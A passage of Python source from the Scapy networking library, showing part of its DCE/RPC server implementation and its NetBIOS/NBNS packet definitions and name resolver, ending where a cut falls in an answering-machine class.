    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nDCE/RPC server as per [MS-RPCE]\n\"\"\"\n\nimport socket\nimport uuid\nimport threading\nfrom collections import deque\n\nfrom scapy.arch import get_if_addr\nfrom scapy.config import conf\nfrom scapy.data import MTU\nfrom scapy.volatile import RandShort\n\nfrom scapy.layers.dcerpc import (\n    CommonAuthVerifier,\n    DCE_RPC_INTERFACES,\n    DCERPC_Transport,\n    DceRpc5,\n    DceRpc5AlterContext,\n    DceRpc5AlterContextResp,\n    DceRpc5Auth3,\n    DceRpc5Bind,\n    DceRpc5BindAck,\n    DceRpc5BindNak,\n    DceRpc5Fault,\n    DceRpc5PortAny,\n    DceRpc5Request,\n    DceRpc5Response,\n    DceRpc5Result,\n    DceRpc5TransferSyntax,\n    DceRpcInterface,\n    DceRpcSession,\n    NDRPacket,\n    RPC_C_AUTHN_LEVEL,\n)\n\n# RPC\nfrom scapy.layers.msrpce.ept import (\n    ept_map_Request,\n    ept_map_Response,\n    twr_p_t,\n    protocol_tower_t,\n    prot_and_addr_t,\n)\n\n# Typing\nfrom typing import (\n    Dict,\n    Callable,\n    Optional,\n    Tuple,\n)\n\n\nclass _DCERPC_Server_metaclass(type):\n    # This value is calculated for each DCE/RPC server, and contains\n    # the callables sorted by interface+opnum\n    dcerpc_commands: Dict[Tuple[uuid.UUID, int], Callable] = {}\n\n    def __new__(cls, name, bases, dct):\n        dct.setdefault(\n            \"dcerpc_commands\",\n            {x.dcerpc_command: x for x in dct.values() if hasattr(x, \"dcerpc_command\")},\n        )\n        return type.__new__(cls, name, bases, dct)\n\n\nclass DCERPC_Server(metaclass=_DCERPC_Server_metaclass):\n    def __init__(\n        self,\n        transport: DCERPC_Transport,\n        ndr64: Optional[bool] = None,\n        verb: bool = True,\n        local_ip: str = None,\n        port: int = None,\n        portmap: Dict[DceRpcInterface, int] = None,\n        **kwargs,\n    ):\n        self.transport = transport\n        self.session = DceRpcSession(**kwargs)\n        self.queue = deque()\n        if ndr64 is None:\n            ndr64 = conf.ndr64\n        self.ndr64 = ndr64\n        # For endpoint mapper. TODO: improve separation/handling of SMB/IP etc\n        self.local_ip = local_ip\n        self.port = port\n        self.portmap = portmap or {}\n        self.verb = verb\n\n    def loop(self, sock):\n        while True:\n            pkt = sock.recv(MTU)\n            if not pkt:\n                break\n            self.recv(pkt)\n            # send all possible responses\n            while True:\n                resp = self.get_response()\n                if not resp:\n                    break\n                sock.send(bytes(resp))\n\n    @staticmethod\n    def answer(reqcls):\n        \"\"\"\n        A decorator that registers a DCE/RPC responder to a command.\n        See the DCE/RPC documentation.\n\n        :param reqcls: the DCE/RPC packet class to respond to\n        \"\"\"\n\n        def deco(func):\n            if not issubclass(reqcls, NDRPacket):\n                raise ValueError(\"Cannot answer a non NDRPacket class !\")\n            try:\n                func.dcerpc_command = reqcls.intf, reqcls.opnum\n            except AttributeError:\n                raise ValueError(\n                    \"NDRPacket class isn't registered or isn't a request !\"\n                )\n            return func\n\n        return deco\n\n    def extend(self, server_cls):\n        \"\"\"\n        Extend a DCE/RPC server into another\n        \"\"\"\n        self.dcerpc_commands.update(server_cls.dcerpc_commands)\n\n    def make_reply(self, req):\n        \"\"\"\n        Make a response to the DCE/RPC request.\n\n        This finds whether a callback has been registered for this particular packet,\n        and call it if available.\n        \"\"\"\n        opnum = req[DceRpc5Request].opnum\n        intf = self.session.rpc_bind_interface.uuid\n        if (intf, opnum) in self.dcerpc_commands:\n            # call handler\n            return self.dcerpc_commands[(intf, opnum)](self, req)\n        return None\n\n    @classmethod\n    def spawn(cls, transport, iface=None, port=135, bg=False, **kwargs):\n        \"\"\"\n        Spawn a DCE/RPC server\n\n        :param transport: one of DCERPC_Transport\n        :param iface: the interface to spawn it on (default: conf.iface)\n        :param port: the port to spawn it on (for IP_TCP or the SMB server)\n        :param bg: background mode? (default: False)\n        :param ndr64: whether NDR64 is supported or not (default: conf.ndr64).\n            This attribute will be overwritten if the client doesn't support it.\n        \"\"\"\n        if transport == DCERPC_Transport.NCACN_IP_TCP:\n            # IP/TCP case\n            ssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            local_ip = get_if_addr(iface or conf.iface)\n            try:\n                ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n            except OSError:\n                pass\n            ssock.bind((local_ip, port))\n            ssock.listen(5)\n            sockets = []\n            if kwargs.get(\"verb\", True):\n                print(\n                    conf.color_theme.green(\n                        \"Server %s started. Waiting...\" % cls.__name__\n                    )\n                )\n\n            def _run():\n                # Wait for clients forever\n                try:\n                    while True:\n                        clientsocket, address = ssock.accept()\n                        sockets.append(clientsocket)\n                        print(\n                            conf.color_theme.gold(\n                                \"\\u2503 Connection received from %s\" % repr(address)\n                            )\n                        )\n                        server = cls(\n                            DCERPC_Transport.NCACN_IP_TCP,\n                            local_ip=local_ip,\n                            port=port,\n                            **kwargs,\n                        )\n                        threading.Thread(\n                            target=server.loop, args=(clientsocket,)\n                        ).start()\n                except KeyboardInterrupt:\n                    print(\"X Exiting.\")\n                    ssock.shutdown(socket.SHUT_RDWR)\n                except OSError:\n                    print(\"X Server closed.\")\n                finally:\n                    for sock in sockets:\n                        try:\n                            sock.shutdown(socket.SHUT_RDWR)\n                            sock.close()\n                        except Exception:\n                            pass\n                    ssock.close()\n\n            if bg:\n                # Background\n                threading.Thread(target=_run).start()\n                return ssock\n            else:\n                # Non-background\n                _run()\n        elif transport == DCERPC_Transport.NCACN_NP:\n            # SMB case\n            from scapy.layers.smbserver import SMB_Server\n\n            kwargs.setdefault(\"shares\", [])  # do not expose files by default\n            return SMB_Server.spawn(\n                iface=iface or conf.iface,\n                port=port,\n                bg=bg,\n                # Important: pass the DCE/RPC server\n                DCERPC_SERVER_CLS=cls,\n                # SMB parameters\n                **kwargs,\n            )\n        else:\n            raise ValueError(\"Unsupported transport :(\")\n\n    def recv(self, data):\n        if isinstance(data, bytes):\n            req = DceRpc5(data)\n        else:\n            req = data\n        # If the packet has padding, it contains several fragments\n        pad = None\n        if conf.padding_layer in req:\n            pad = req[conf.padding_layer].load\n            req[conf.padding_layer].underlayer.remove_payload()\n        # Ask the DCE/RPC session to process it (match interface, etc.)\n        req = self.session.in_pkt(req)\n        hdr = DceRpc5(\n            endian=req.endian,\n            encoding=req.encoding,\n            float=req.float,\n            call_id=req.call_id,\n        )\n        # Now process the packet based on the DCE/RPC type\n        if DceRpc5Bind in req or DceRpc5AlterContext in req or DceRpc5Auth3 in req:\n            # Log\n            if self.verb:\n                print(\n                    conf.color_theme.opening(\n                        \"<< %s\" % req.payload.__class__.__name__\n                        + (\n                            \" (with %s%s)\"\n                            % (\n                                self.session.ssp.__class__.__name__,\n                                (\n                                    f\" - {self.session.auth_level.name}\"\n                                    if self.session.auth_level is not None\n                                    else \"\"\n                                ),\n                            )\n                            if self.session.ssp\n                            else \"\"\n                        )\n                    )\n                )\n            if not self.session.rpc_bind_interface:\n                # The session did not find a matching interface !\n                self.queue.extend(self.session.out_pkt(hdr / DceRpc5BindNak()))\n                if self.verb:\n                    print(conf.color_theme.fail(\"! DceRpc5BindNak (unknown interface)\"))\n            else:\n                auth_value, status = None, 0\n                if (\n                    self.session.ssp\n                    and req.auth_verifier\n                    and req.auth_verifier.auth_value\n                ):\n                    (\n                        self.session.sspcontext,\n                        auth_value,\n                        status,\n                    ) = self.session.ssp.GSS_Accept_sec_context(\n                        self.session.sspcontext, req.auth_verifier.auth_value\n                    )\n                    self.session.auth_level = RPC_C_AUTHN_LEVEL(\n                        req.auth_verifier.auth_level\n                    )\n                    self.session.auth_context_id = req.auth_verifier.auth_context_id\n                    if DceRpc5Auth3 in req:\n                        # Auth 3 stops here (no server response) !\n                        if status != 0:\n                            print(conf.color_theme.fail(\"! DceRpc5Auth3 failed\"))\n                        if pad is not None:\n                            self.recv(pad)\n                        return\n                    # auth_verifier here contains the SSP nego packets\n                    # (whereas it usually contains the verifiers)\n                    if auth_value is not None:\n                        hdr.auth_verifier = CommonAuthVerifier(\n                            auth_type=req.auth_verifier.auth_type,\n                            auth_level=req.auth_verifier.auth_level,\n                            auth_context_id=req.auth_verifier.auth_context_id,\n                            auth_value=auth_value,\n                        )\n\n                # Detect if the client requested NDR64 and the server agrees\n                self.ndr64 = self.ndr64 and any(\n                    ctx.transfer_syntaxes[0].sprintf(\"%if_uuid%\") == \"NDR64\"\n                    for ctx in req.context_elem\n                )\n\n                # Process bind contexts and answer to them\n                results = []\n                for ctx in req.context_elem:\n                    # Get name\n                    name = ctx.transfer_syntaxes[0].sprintf(\"%if_uuid%\")\n                    if (\n                        # NDR64\n                        (name == \"NDR64\" and self.ndr64)\n                        or\n                        # NDR 2.0\n                        (name == \"NDR 2.0\" and not self.ndr64)\n                    ):\n                        # Acceptance\n                        results.append(\n                            DceRpc5Result(\n                                result=0,\n                                reason=0,\n                                transfer_syntax=DceRpc5TransferSyntax(\n                                    if_uuid=ctx.transfer_syntaxes[0].if_uuid,\n                                    if_version=ctx.transfer_syntaxes[0].if_version,\n                                ),\n                            )\n                        )\n                    elif name == \"Bind Time Feature Negotiation\":\n                        # Handle Bind Time Feature\n                        results.append(\n                            DceRpc5Result(\n                                result=3,\n                                reason=3,\n                                transfer_syntax=DceRpc5TransferSyntax(\n                                    if_uuid=\"NULL\",\n                                    if_version=0,\n                                ),\n                            )\n                        )\n                    else:\n                        # Reject\n                        results.append(\n                            DceRpc5Result(\n                                result=2,\n                                reason=2,\n                                transfer_syntax=DceRpc5TransferSyntax(\n                                    if_uuid=\"NULL\",\n                                    if_version=0,\n                                ),\n                            )\n                        )\n\n                if self.port is None:\n                    # Piped\n                    port_spec = (\n                        b\"\\\\\\\\PIPE\\\\\\\\%s\\0\"\n                        % self.session.rpc_bind_interface.name.encode()\n                    )\n                else:\n                    # IP\n                    port_spec = str(self.port).encode() + b\"\\x00\"\n                if DceRpc5Bind in req:\n                    cls = DceRpc5BindAck\n                else:\n                    cls = DceRpc5AlterContextResp\n                self.queue.extend(\n                    self.session.out_pkt(\n                        hdr\n                        / cls(\n                            assoc_group_id=int(RandShort()),\n                            sec_addr=DceRpc5PortAny(\n                                port_spec=port_spec,\n                            ),\n                            results=results,\n                        ),\n                    )\n                )\n                if self.verb:\n                    print(\n                        conf.color_theme.success(\n                            f\">> {cls.__name__} {self.session.rpc_bind_interface.name}\"\n                            f\" is on port '{port_spec.decode()}' using \"\n                            + (\"NDR64\" if self.ndr64 else \"NDR32\")\n                        )\n                    )\n        elif DceRpc5Request in req:\n            if self.verb:\n                print(\n                    conf.color_theme.opening(\n                        \"<< REQUEST: %s\"\n                        % req[DceRpc5Request].payload.__class__.__name__\n                    )\n                )\n            # Can be any RPC request !\n            resp = self.make_reply(req)\n            if resp:\n                self.queue.extend(\n                    self.session.out_pkt(\n                        hdr\n                        / DceRpc5Response(\n                            alloc_hint=len(resp),\n                            cont_id=req.cont_id,\n                        )\n                        / resp,\n                    )\n                )\n                if self.verb:\n                    print(\n                        conf.color_theme.success(\n                            \">> RESPONSE: %s\" % (resp.__class__.__name__)\n                        )\n                    )\n            else:\n                # Unimplemented request !\n                if self.verb:\n                    print(\n                        conf.color_theme.fail(\n                            \"! RPC request not implemented by server.\"\n                        )\n                    )\n                    req.show()\n\n                # Return a Fault\n                hdr.pfc_flags += \"PFC_DID_NOT_EXECUTE\"\n                self.queue.extend(\n                    hdr\n                    / DceRpc5Fault(\n                        # nca_s_op_rng_error\n                        status=0x1C010002,\n                        cont_id=req.cont_id,\n                    )\n                )\n        # If there was padding, process the second frag\n        if pad is not None:\n            self.recv(pad)\n\n    def get_response(self):\n        try:\n            return self.queue.popleft()\n        except IndexError:\n            return None\n\n    # Endpoint mapper\n\n    @answer.__func__(ept_map_Request)  # hack for Python <= 3.9\n    def ept_map(self, req):\n        \"\"\"\n        Answer to ept_map_Request.\n        \"\"\"\n        if self.transport != DCERPC_Transport.NCACN_IP_TCP:\n            raise ValueError(\"Unimplemented\")\n\n        tower = protocol_tower_t(\n            req[ept_map_Request].valueof(\"map_tower.tower_octet_string\")\n        )\n        uuid = tower.floors[0].uuid\n        if_version = (tower.floors[0].rhs << 16) | tower.floors[0].version\n\n        # Check for results in our portmap\n        port = None\n        if (uuid, if_version) in DCE_RPC_INTERFACES:\n            interface = DCE_RPC_INTERFACES[(uuid, if_version)]\n            if interface in self.portmap:\n                port = self.portmap[interface]\n\n        if port is not None:\n            # Found result\n            resp_tower = twr_p_t(\n                tower_octet_string=bytes(\n                    protocol_tower_t(\n                        floors=[\n                            tower.floors[0],  # UUID\n                            tower.floors[1],  # NDR version\n                            tower.floors[2],  # RPC version\n                            prot_and_addr_t(\n                                lhs_length=1,\n                                protocol_identifier=\"NCACN_IP_TCP\",\n                                rhs_length=2,\n                                rhs=port,\n                            ),\n                            prot_and_addr_t(\n                                lhs_length=1,\n                                protocol_identifier=\"IP\",\n                                rhs_length=4,\n                                rhs=self.local_ip or \"0.0.0.0\",\n                            ),\n                        ]\n                    )\n                )\n            )\n            resp = ept_map_Response(ITowers=[resp_tower], ndr64=self.ndr64)\n            resp.ITowers.max_count = req.max_towers  # ugh\n        else:\n            # No result found\n            pass\n        return resp\n"
  },
  {
    "path": "scapy/layers/netbios.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nNetBIOS over TCP/IP\n\n[RFC 1001/1002]\n\"\"\"\n\nimport struct\nfrom scapy.arch import get_if_addr\nfrom scapy.base_classes import Net\nfrom scapy.ansmachine import AnsweringMachine\nfrom scapy.compat import bytes_encode\nfrom scapy.config import conf\n\nfrom scapy.packet import Packet, bind_bottom_up, bind_layers, bind_top_down\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    FieldLenField,\n    FlagsField,\n    IPField,\n    IntField,\n    NetBIOSNameField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    StrFixedLenField,\n    XShortField,\n    XStrFixedLenField\n)\nfrom scapy.interfaces import _GlobInterfaceType\nfrom scapy.sendrecv import sr1\nfrom scapy.layers.inet import IP, UDP, TCP\nfrom scapy.layers.l2 import Ether, SourceMACField\n\n# Typing imports\nfrom typing import (\n    List,\n    Union,\n)\n\n\nclass NetBIOS_DS(Packet):\n    name = \"NetBIOS datagram service\"\n    fields_desc = [\n        ByteEnumField(\"type\", 17, {17: \"direct_group\"}),\n        ByteField(\"flags\", 0),\n        XShortField(\"id\", 0),\n        IPField(\"src\", \"127.0.0.1\"),\n        ShortField(\"sport\", 138),\n        ShortField(\"len\", None),\n        ShortField(\"ofs\", 0),\n        NetBIOSNameField(\"srcname\", \"\"),\n        NetBIOSNameField(\"dstname\", \"\"),\n    ]\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.len is None:\n            tmp_len = len(p) - 14\n            p = p[:10] + struct.pack(\"!H\", tmp_len) + p[12:]\n        return p\n\n#        ShortField(\"length\",0),\n#        ShortField(\"Delimiter\",0),\n#        ByteField(\"command\",0),\n#        ByteField(\"data1\",0),\n#        ShortField(\"data2\",0),\n#        ShortField(\"XMIt\",0),\n#        ShortField(\"RSPCor\",0),\n#        StrFixedLenField(\"dest\",\"\",16),\n#        StrFixedLenField(\"source\",\"\",16),\n#\n#        ]\n#\n\n# NetBIOS\n\n\n_NETBIOS_SUFFIXES = {\n    0x4141: \"workstation\",\n    0x4141 + 0x03: \"messenger service\",\n    0x4141 + 0x200: \"file server service\",\n    0x4141 + 0x10b: \"domain master browser\",\n    0x4141 + 0x10c: \"domain controller\",\n    0x4141 + 0x10e: \"browser election service\"\n}\n\n_NETBIOS_QRTYPES = {\n    0x20: \"NB\",\n    0x21: \"NBSTAT\"\n}\n\n_NETBIOS_QRCLASS = {\n    1: \"INTERNET\"\n}\n\n_NETBIOS_RNAMES = {\n    0xC00C: \"Label String Pointer to QUESTION_NAME\"\n}\n\n_NETBIOS_OWNER_MODE_TYPES = {\n    0: \"B node\",\n    1: \"P node\",\n    2: \"M node\",\n    3: \"H node\"\n}\n\n_NETBIOS_GNAMES = {\n    0: \"Unique name\",\n    1: \"Group name\"\n}\n\n\nclass NBNSHeader(Packet):\n    name = \"NBNS Header\"\n    fields_desc = [\n        ShortField(\"NAME_TRN_ID\", 0),\n        BitField(\"RESPONSE\", 0, 1),\n        BitField(\"OPCODE\", 0, 4),\n        FlagsField(\"NM_FLAGS\", 0, 7, [\"B\",\n                                      \"res1\",\n                                      \"res0\",\n                                      \"RA\",\n                                      \"RD\",\n                                      \"TC\",\n                                      \"AA\"]),\n        BitField(\"RCODE\", 0, 4),\n        ShortField(\"QDCOUNT\", 0),\n        ShortField(\"ANCOUNT\", 0),\n        ShortField(\"NSCOUNT\", 0),\n        ShortField(\"ARCOUNT\", 0),\n    ]\n\n    def hashret(self):\n        return b\"NBNS\" + struct.pack(\"!B\", self.OPCODE)\n\n\n# Name Query Request\n# RFC1002 sect 4.2.12\n\n\nclass NBNSQueryRequest(Packet):\n    name = \"NBNS query request\"\n    fields_desc = [NetBIOSNameField(\"QUESTION_NAME\", \"windows\"),\n                   ShortEnumField(\"SUFFIX\", 0x4141, _NETBIOS_SUFFIXES),\n                   ByteField(\"NULL\", 0),\n                   ShortEnumField(\"QUESTION_TYPE\", 0x20, _NETBIOS_QRTYPES),\n                   ShortEnumField(\"QUESTION_CLASS\", 1, _NETBIOS_QRCLASS)]\n\n    def mysummary(self):\n        return \"NBNSQueryRequest who has '\\\\\\\\%s'\" % (\n            self.QUESTION_NAME.decode(errors=\"backslashreplace\")\n        )\n\n\nbind_layers(NBNSHeader, NBNSQueryRequest,\n            OPCODE=0x0, NM_FLAGS=0x11, QDCOUNT=1)\n\n\n# Name Query Response\n# RFC1002 sect 4.2.13\n\n\nclass NBNS_ADD_ENTRY(Packet):\n    fields_desc = [\n        BitEnumField(\"G\", 0, 1, _NETBIOS_GNAMES),\n        BitEnumField(\"OWNER_NODE_TYPE\", 00, 2,\n                     _NETBIOS_OWNER_MODE_TYPES),\n        BitEnumField(\"UNUSED\", 0, 13, {0: \"Unused\"}),\n        IPField(\"NB_ADDRESS\", \"127.0.0.1\")\n    ]\n\n\nclass NBNSQueryResponse(Packet):\n    name = \"NBNS query response\"\n    fields_desc = [NetBIOSNameField(\"RR_NAME\", \"windows\"),\n                   ShortEnumField(\"SUFFIX\", 0x4141, _NETBIOS_SUFFIXES),\n                   ByteField(\"NULL\", 0),\n                   ShortEnumField(\"QUESTION_TYPE\", 0x20, _NETBIOS_QRTYPES),\n                   ShortEnumField(\"QUESTION_CLASS\", 1, _NETBIOS_QRCLASS),\n                   IntField(\"TTL\", 0x493e0),\n                   FieldLenField(\"RDLENGTH\", None, length_of=\"ADDR_ENTRY\"),\n                   PacketListField(\"ADDR_ENTRY\",\n                                   [NBNS_ADD_ENTRY()], NBNS_ADD_ENTRY,\n                                   length_from=lambda pkt: pkt.RDLENGTH)\n                   ]\n\n    def mysummary(self):\n        if not self.ADDR_ENTRY or \\\n           not isinstance(self.ADDR_ENTRY[0], NBNS_ADD_ENTRY):\n            return \"NBNSQueryResponse\"\n        return \"NBNSQueryResponse '\\\\\\\\%s' is at %s\" % (\n            self.RR_NAME.decode(errors=\"backslashreplace\"),\n            self.ADDR_ENTRY[0].NB_ADDRESS\n        )\n\n    def answers(self, other):\n        return (\n            isinstance(other, NBNSQueryRequest) and\n            other.QUESTION_NAME == self.RR_NAME\n        )\n\n\nbind_layers(NBNSHeader, NBNSQueryResponse,  # RD+AA\n            OPCODE=0x0, NM_FLAGS=0x50, RESPONSE=1, ANCOUNT=1)\nfor _flg in [0x58, 0x70, 0x78]:\n    bind_bottom_up(NBNSHeader, NBNSQueryResponse,\n                   OPCODE=0x0, NM_FLAGS=_flg, RESPONSE=1, ANCOUNT=1)\n\n\n# Node Status Request\n# RFC1002 sect 4.2.17\n\nclass NBNSNodeStatusRequest(NBNSQueryRequest):\n    name = \"NBNS status request\"\n    QUESTION_NAME = b\"*\" + b\"\\x00\" * 14\n    QUESTION_TYPE = 0x21\n\n    def mysummary(self):\n        return \"NBNSNodeStatusRequest who has '\\\\\\\\%s'\" % (\n            self.QUESTION_NAME.decode(errors=\"backslashreplace\")\n        )\n\n\nbind_bottom_up(NBNSHeader, NBNSNodeStatusRequest, OPCODE=0x0, NM_FLAGS=0, QDCOUNT=1)\nbind_layers(NBNSHeader, NBNSNodeStatusRequest, OPCODE=0x0, NM_FLAGS=1, QDCOUNT=1)\n\n\n# Node Status Response\n# RFC1002 sect 4.2.18\n\nclass NBNSNodeStatusResponseService(Packet):\n    name = \"NBNS Node Status Response Service\"\n    fields_desc = [StrFixedLenField(\"NETBIOS_NAME\", \"WINDOWS         \", 15),\n                   ByteEnumField(\"SUFFIX\", 0, {0: \"workstation\",\n                                               0x03: \"messenger service\",\n                                               0x20: \"file server service\",\n                                               0x1b: \"domain master browser\",\n                                               0x1c: \"domain controller\",\n                                               0x1e: \"browser election service\"\n                                               }),\n                   ByteField(\"NAME_FLAGS\", 0x4),\n                   ByteEnumField(\"UNUSED\", 0, {0: \"unused\"})]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass NBNSNodeStatusResponse(Packet):\n    name = \"NBNS Node Status Response\"\n    fields_desc = [NetBIOSNameField(\"RR_NAME\", \"windows\"),\n                   ShortEnumField(\"SUFFIX\", 0x4141, _NETBIOS_SUFFIXES),\n                   ByteField(\"NULL\", 0),\n                   ShortEnumField(\"RR_TYPE\", 0x21, _NETBIOS_QRTYPES),\n                   ShortEnumField(\"RR_CLASS\", 1, _NETBIOS_QRCLASS),\n                   IntField(\"TTL\", 0),\n                   ShortField(\"RDLENGTH\", 83),\n                   FieldLenField(\"NUM_NAMES\", None, fmt=\"B\",\n                                 count_of=\"NODE_NAME\"),\n                   PacketListField(\"NODE_NAME\",\n                                   [NBNSNodeStatusResponseService()],\n                                   NBNSNodeStatusResponseService,\n                                   count_from=lambda pkt: pkt.NUM_NAMES),\n                   SourceMACField(\"MAC_ADDRESS\"),\n                   XStrFixedLenField(\"STATISTICS\", b\"\", 46)]\n\n    def answers(self, other):\n        return (\n            isinstance(other, NBNSNodeStatusRequest) and\n            other.QUESTION_NAME == self.RR_NAME\n        )\n\n\nbind_layers(NBNSHeader, NBNSNodeStatusResponse,\n            OPCODE=0x0, NM_FLAGS=0x40, RESPONSE=1, ANCOUNT=1)\n\n\n# Name Registration Request\n# RFC1002 sect 4.2.2\n\nclass NBNSRegistrationRequest(Packet):\n    name = \"NBNS registration request\"\n    fields_desc = [\n        NetBIOSNameField(\"QUESTION_NAME\", \"Windows\"),\n        ShortEnumField(\"SUFFIX\", 0x4141, _NETBIOS_SUFFIXES),\n        ByteField(\"NULL\", 0),\n        ShortEnumField(\"QUESTION_TYPE\", 0x20, _NETBIOS_QRTYPES),\n        ShortEnumField(\"QUESTION_CLASS\", 1, _NETBIOS_QRCLASS),\n        ShortEnumField(\"RR_NAME\", 0xC00C, _NETBIOS_RNAMES),\n        ShortEnumField(\"RR_TYPE\", 0x20, _NETBIOS_QRTYPES),\n        ShortEnumField(\"RR_CLASS\", 1, _NETBIOS_QRCLASS),\n        IntField(\"TTL\", 0),\n        ShortField(\"RDLENGTH\", 6),\n        BitEnumField(\"G\", 0, 1, _NETBIOS_GNAMES),\n        BitEnumField(\"OWNER_NODE_TYPE\", 00, 2,\n                     _NETBIOS_OWNER_MODE_TYPES),\n        BitEnumField(\"UNUSED\", 0, 13, {0: \"Unused\"}),\n        IPField(\"NB_ADDRESS\", \"127.0.0.1\")\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"Register %G% %QUESTION_NAME% at %NB_ADDRESS%\")\n\n\nbind_bottom_up(NBNSHeader, NBNSRegistrationRequest, OPCODE=0x5)\nbind_layers(NBNSHeader, NBNSRegistrationRequest,\n            OPCODE=0x5, NM_FLAGS=0x11, QDCOUNT=1, ARCOUNT=1)\n\n\n# Wait for Acknowledgement Response\n# RFC1002 sect 4.2.16\n\nclass NBNSWackResponse(Packet):\n    name = \"NBNS Wait for Acknowledgement Response\"\n    fields_desc = [NetBIOSNameField(\"RR_NAME\", \"windows\"),\n                   ShortEnumField(\"SUFFIX\", 0x4141, _NETBIOS_SUFFIXES),\n                   ByteField(\"NULL\", 0),\n                   ShortEnumField(\"RR_TYPE\", 0x20, _NETBIOS_QRTYPES),\n                   ShortEnumField(\"RR_CLASS\", 1, _NETBIOS_QRCLASS),\n                   IntField(\"TTL\", 2),\n                   ShortField(\"RDLENGTH\", 2),\n                   BitField(\"RDATA\", 10512, 16)]  # 10512=0010100100010000\n\n\nbind_layers(NBNSHeader, NBNSWackResponse,\n            OPCODE=0x7, NM_FLAGS=0x40, RESPONSE=1, ANCOUNT=1)\n\n# NetBIOS DATAGRAM HEADER\n\n\nclass NBTDatagram(Packet):\n    name = \"NBT Datagram Packet\"\n    fields_desc = [ByteField(\"Type\", 0x10),\n                   ByteField(\"Flags\", 0x02),\n                   ShortField(\"ID\", 0),\n                   IPField(\"SourceIP\", \"127.0.0.1\"),\n                   ShortField(\"SourcePort\", 138),\n                   ShortField(\"Length\", None),\n                   ShortField(\"Offset\", 0),\n                   NetBIOSNameField(\"SourceName\", \"windows\"),\n                   ShortEnumField(\"SUFFIX1\", 0x4141, _NETBIOS_SUFFIXES),\n                   ByteField(\"NULL1\", 0),\n                   NetBIOSNameField(\"DestinationName\", \"windows\"),\n                   ShortEnumField(\"SUFFIX2\", 0x4141, _NETBIOS_SUFFIXES),\n                   ByteField(\"NULL2\", 0)]\n\n    def post_build(self, pkt, pay):\n        if self.Length is None:\n            length = len(pay) + 68\n            pkt = pkt[:10] + struct.pack(\"!H\", length) + pkt[12:]\n        return pkt + pay\n\n\n# SESSION SERVICE PACKETS\n\n\nclass NBTSession(Packet):\n    name = \"NBT Session Packet\"\n    MAXLENGTH = 0x3ffff\n    fields_desc = [ByteEnumField(\"TYPE\", 0, {0x00: \"Session Message\",\n                                             0x81: \"Session Request\",\n                                             0x82: \"Positive Session Response\",\n                                             0x83: \"Negative Session Response\",\n                                             0x84: \"Retarget Session Response\",\n                                             0x85: \"Session Keepalive\"}),\n                   BitField(\"RESERVED\", 0x00, 7),\n                   BitField(\"LENGTH\", None, 17)]\n\n    def post_build(self, pkt, pay):\n        if self.LENGTH is None:\n            length = len(pay) & self.MAXLENGTH\n            pkt = pkt[:1] + struct.pack(\"!I\", length)[1:]\n        return pkt + pay\n\n    def extract_padding(self, s):\n        return s[:self.LENGTH], s[self.LENGTH:]\n\n    @classmethod\n    def tcp_reassemble(cls, data, *args, **kwargs):\n        if len(data) < 4:\n            return None\n        length = struct.unpack(\"!I\", data[:4])[0] & cls.MAXLENGTH\n        if len(data) >= length + 4:\n            return cls(data)\n\n\nbind_bottom_up(UDP, NBNSHeader, dport=137)\nbind_bottom_up(UDP, NBNSHeader, sport=137)\nbind_top_down(UDP, NBNSHeader, sport=137, dport=137)\n\nbind_bottom_up(UDP, NBTDatagram, dport=138)\nbind_bottom_up(UDP, NBTDatagram, sport=138)\nbind_top_down(UDP, NBTDatagram, sport=138, dport=138)\n\nbind_bottom_up(TCP, NBTSession, dport=445)\nbind_bottom_up(TCP, NBTSession, sport=445)\nbind_bottom_up(TCP, NBTSession, dport=139)\nbind_bottom_up(TCP, NBTSession, sport=139)\nbind_layers(TCP, NBTSession, dport=139, sport=139)\n\n\n_nbns_cache = conf.netcache.new_cache(\"nbns_cache\", 300)\n\n\n@conf.commands.register\ndef nbns_resolve(\n    qname: str,\n    iface: Union[_GlobInterfaceType, List[_GlobInterfaceType]] = None,\n    raw: bool = False,\n    timeout: int = 3,\n    **kwargs,\n) -> List[str]:\n    \"\"\"\n    Perform a simple NBNS (NetBios Name Services) resolution with caching\n\n    :param qname: the name to query\n    :param iface: the interfaces to use. (default: all)\n    :param raw: return the whole netbios packet (default False)\n    :param timeout: seconds until timeout (per server)\n    :raise TimeoutError: if no DNS servers were reached in time.\n    \"\"\"\n    kwargs.setdefault(\"verbose\", 0)\n\n    # Unify types (for caching)\n    qname = NBNSQueryRequest.QUESTION_NAME.any2i(None, qname)\n\n    # Check cache\n    cache_ident = qname + b\"raw\" if raw else b\"\"\n    result = _nbns_cache.get(cache_ident)\n    if result:\n        return result\n\n    if iface is None:\n        ifaces = [\n            x\n            for name, x in conf.ifaces.items()\n            if x.is_valid() and name != conf.loopback_name\n        ]\n    elif isinstance(iface, list):\n        ifaces = iface\n    else:\n        ifaces = [iface]\n\n    # Builds a request for each broadcast address of each interface\n    requests = []\n    for iface in ifaces:\n        for bdcst in conf.route.get_if_bcast(iface):\n            if bdcst == \"255.255.255.255\":\n                continue\n            requests.append(\n                IP(dst=bdcst) /\n                UDP() /\n                NBNSHeader() /\n                NBNSQueryRequest(QUESTION_NAME=qname)\n            )\n\n    if not requests:\n        return None\n\n    # Perform requests, get the first response\n    try:\n        old_checkIPAddr = conf.checkIPaddr\n        conf.checkIPaddr = False\n\n        res = sr1(\n            requests,\n            timeout=timeout,\n            first=True,\n            **kwargs,\n        )\n    finally:\n        conf.checkIPaddr = old_checkIPAddr\n\n    if res is not None:\n        if raw:\n            # Raw\n            result = res\n        else:\n            # Get IP\n            result = [x.NB_ADDRESS for x in res.ADDR_ENTRY]\n        if result:\n            # Cache it\n            _nbns_cache[cache_ident] = result\n        return result\n    else:\n        raise TimeoutError\n\n\nclass NBNS_am(AnsweringMachine):\n    function_name = \"nbnsd\"\n    filter = \"udp port 137\"\n    sniff_options = {\"store\": 0}\n\n    def 